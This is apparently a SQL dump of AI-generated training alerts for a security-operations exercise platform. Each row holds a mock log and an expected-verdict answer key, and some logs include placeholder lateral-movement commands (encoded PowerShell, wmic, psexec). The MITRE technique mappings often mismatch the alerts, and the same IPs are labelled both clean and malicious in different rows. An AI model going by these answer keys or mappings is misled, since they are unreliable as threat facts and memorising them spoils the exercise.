(1904, 'Routine Network Health Check Triggered Data Exfiltration Alert', 'low', 'Suricata', 'Network activity resembling data exfiltration detected, originating from a known internal scanner conducting routine checks.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.25\",\"dst_ip\":\"192.168.1.100\",\"hostname\":\"network-scanner\",\"data_volume\":\"500MB\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Inventory\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal network scanning tool.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Activity aligns with scheduled network health checks; no actual data exfiltration detected.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1905, 'Suspicious Command Execution Detected on Web Server', 'high', 'Corelight', 'Potential command injection detected on a web server. The command executed appears to be part of a routine script used for maintenance.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.5\",\"hostname\":\"webserver01\",\"command_line\":\"/usr/bin/bash /opt/scripts/cleanup.sh\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/bash /opt/scripts/cleanup.sh\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Script matches known maintenance routines.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command matches a routine maintenance script executed by authorized personnel.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1906, 'Anomalous DNS Traffic Indicating Potential C2 Communication', 'medium', 'Wireshark', 'Unusual DNS queries detected that resemble C2 beaconing. Queries originate from a misconfigured device sending repeated DNS requests.', 'Malware', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.0.20\",\"hostname\":\"misconfigured-device\",\"domain\":\"beacon.example.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"beacon.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain seen in unusual traffic patterns; no confirmed malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Inventory\",\"verdict\":\"internal\",\"details\":\"Device identified as a misconfigured IoT device.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The device was generating unusual DNS requests due to a configuration error; not indicative of C2 communication.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1907, 'Confirmed Malware Infection Detected on Workstation', 'critical', 'Darktrace', 'Malware detected on a workstation attempting to communicate with a known malicious IP. Immediate attention required to prevent data breach.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:05:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.45\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"workstation12\",\"file_hash\":\"3b2e1a7f9c1d4e5a8f4b5c6d7e8f9a0b\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple malware campaigns and C2 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b2e1a7f9c1d4e5a8f4b5c6d7e8f9a0b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware variant used in targeted attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Malicious IP and file hash confirmed through OSINT; immediate remediation necessary to prevent further compromise.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1908, 'Unusual Network Connection from Internal System', 'medium', 'Zeek', 'A network connection from an internal IP to a known external IP associated with routine IT vulnerability scanning was detected.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"itadmin\",\"hostname\":\"internal-server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, part of routine operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with vulnerability scanning services, no malicious activity.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"IP 203.0.113.45 is associated with authorized vulnerability scanning. No further action required.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1909, 'Failed Login Attempts Detected on Internal System', 'low', 'Corelight', 'Multiple failed login attempts were detected from a foreign IP address on an internal system. IP is associated with benign activity.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:23:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"workstation-02\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP has no reports of malicious activity. Likely benign scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, normal operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Failed login attempts from IP 198.51.100.23 have no malicious intent; likely routine activity.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1910, 'Routine Backup Traffic Mistaken for Data Exfiltration', 'low', 'Darktrace', 'Data transfer from an internal server to an external backup server was flagged as suspicious data exfiltration.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backupadmin\",\"hostname\":\"backup-server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, routine backup operation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP is associated with authorized external backup services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data transfer to IP 203.0.113.200 is part of regular backup procedures.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1911, 'Authorized Admin Access Mistaken for Lateral Movement', 'medium', 'Suricata', 'Admin access from a central management console to an internal server was flagged as potential lateral movement.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"10.0.0.25\",\"username\":\"adminuser\",\"hostname\":\"mgmt-console\",\"request_body\":\"\",\"command_line\":\"wmic /node:10.0.0.25 process call create calc.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, recognized admin console.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, normal server operation.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.25 process call create calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized command execution by admin user.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Command execution was performed by an authorized admin user via a recognized management console.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1912, 'Malicious Command Execution Detected on Internal Server', 'high', 'Wireshark', 'A command was executed on an internal server that matches known patterns of malicious activity, indicating potential compromise.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.35\",\"username\":\"unknown\",\"hostname\":\"compromised-server\",\"request_body\":\"\",\"command_line\":\"powershell -EncodedCommand Y2FsYy5leGU=\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential compromised source.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential compromised target.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Y2FsYy5leGU=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of unauthorized access.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The encoded PowerShell command suggests lateral movement activity with malicious intent.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1913, 'Suspicious Network Activity Detected - False Positive', 'medium', 'Suricata', 'Routine IT vulnerability scan detected as potential data exfiltration attempt. The source IP belongs to an internal security tool.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"scanner01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for authorized vulnerability scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This is a known internal IP used for routine scanning, not an actual exfiltration event.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1914, 'False Positive: Routine Administrative Backup', 'low', 'Corelight', 'Backup traffic misidentified as data exfiltration. The activity was normal and expected for scheduled backups.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.10\",\"dst_ip\":\"192.168.50.20\",\"username\":\"backupuser\",\"hostname\":\"backupserver\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address used for authorized data backup.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP address is part of a known backup server cluster performing routine operations.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1915, 'Authorized Administrative Activity Detected as Lateral Movement', 'medium', 'Darktrace', 'Detected administrative access from IT personnel flagged as potential lateral movement. The access was legitimate.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.75.15\",\"dst_ip\":\"192.168.75.25\",\"username\":\"it_admin\",\"hostname\":\"admin-pc\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.75.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT staff for legitimate administrative tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was conducted by authorized IT personnel and is not suspicious.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1916, 'False Positive: Misconfigured Legacy Application', 'low', 'Zeek', 'Network traffic from a misconfigured legacy application detected as potential C2 beaconing. The application is not malicious.', 'C2', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.100.50\",\"dst_ip\":\"192.168.100.200\",\"username\":\"legacyapp\",\"hostname\":\"legacy-server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a known legacy application server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"The traffic is generated by a non-malicious legacy application due to configuration errors.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1917, 'C2 Beaconing Detected from External IP', 'high', 'Wireshark', 'Detected C2 beaconing from an external IP address. OSINT lookup confirms the IP is associated with known malicious activities.', 'C2', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"N/A\",\"hostname\":\"workstation01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks and C2 activities.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"OSINT confirms malicious activities associated with the external IP address, indicating a true positive.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1918, 'Suspicious PSExec Lateral Movement Detected', 'medium', 'Corelight', 'A PSExec command was executed from an internal IP to another internal host, indicating potential lateral movement.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.20\",\"username\":\"admin_user\",\"hostname\":\"workstation-01\",\"command_line\":\"psexec \\\\\\\\10.0.2.20 -u admin_user cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP, part of authorized network activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.2.20 -u admin_user cmd.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Routine administrative task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is part of routine IT maintenance and administrative tasks.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1919, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'Network traffic analysis detected scanning activities from an internal network scanner.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:55:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"-\",\"hostname\":\"scanner-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for authorized scanning activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target of authorized internal scan\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected network scan is part of routine security assessments conducted by the IT department.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1920, 'False Positive Lateral Movement via WMI Detected', 'medium', 'Suricata', 'WMI command detected between two internal hosts, potentially indicating lateral movement, but confirmed as a scheduled task.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:40:25Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.5.10\",\"dst_ip\":\"10.0.5.15\",\"username\":\"scheduler\",\"hostname\":\"server-01\",\"command_line\":\"wmic /node:10.0.5.15 process call create \'cmd /c echo scheduled task\'\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Initiating internal IP, part of routine scheduled tasks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.5.15 process call create \'cmd /c echo scheduled task\'\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled task execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This action is part of a routine scheduled task and does not represent malicious activity.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1921, 'Data Exfiltration Alert from Legacy System', 'high', 'Darktrace', 'Unusual data transfer detected from a legacy system to an external IP, appearing suspicious but traced to authorized backup process.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:10:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.5\",\"dst_ip\":\"198.51.100.10\",\"username\":\"backup_user\",\"hostname\":\"legacy-system-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in legitimate backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected data transfer is part of a scheduled backup process to an external server.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1922, 'C2 Beaconing to Malicious IP Detected', 'critical', 'Wireshark', 'A network connection from an internal host to a known malicious IP indicative of C2 beaconing.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"203.0.113.45\",\"username\":\"unknown\",\"hostname\":\"infected-host-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP showing signs of compromise\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 and malware activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known C2 IP confirms the presence of malware on the internal host.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1923, 'Routine Vulnerability Scan Detected', 'low', 'Zeek', 'A network scan from an internal IP was detected, resembling a vulnerability assessment.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"IT-Scanner-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal IT department responsible for routine scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The scan was conducted by an internal tool for routine vulnerability assessments.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1924, 'Authorized Administrative Backup Activity', 'low', 'Suricata', 'Detected high-volume data transfer from internal server to backup server, typical of scheduled backup tasks.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"username\":\"backup_admin\",\"hostname\":\"Backup-Server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Regularly scheduled backup operation to authorized backup server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity aligns with the scheduled backup tasks performed by IT.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1925, 'Misconfigured Legacy Application Traffic', 'medium', 'Corelight', 'Anomalous traffic patterns observed from a legacy application server due to a configuration error.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.12\",\"dst_ip\":\"192.168.3.25\",\"username\":\"legacy_user\",\"hostname\":\"Legacy-App-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Legacy system misconfiguration leading to unusual traffic patterns.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic pattern is due to a known issue with a legacy application configuration error.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1926, 'Routine Health Check by Network Monitoring Tool', 'low', 'Darktrace', 'Network monitoring tool detected performing routine health checks across multiple internal subnets.', 'Lateral Movement', 'T1049', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"192.168.4.11\",\"username\":\"netmon\",\"hostname\":\"Monitoring-Tool-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Recognized network monitoring tool performing regular health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network activity is consistent with normal operations of a network health monitoring tool.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1927, 'Confirmed Malware C2 Beaconing Activity', 'critical', 'Wireshark', 'Detected traffic from an internal host to an external C2 server, indicating potential malware beaconing.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.50\",\"dst_ip\":\"203.0.113.200\",\"username\":\"compromised_user\",\"hostname\":\"Infected-Host-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.5.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal host exhibiting suspicious 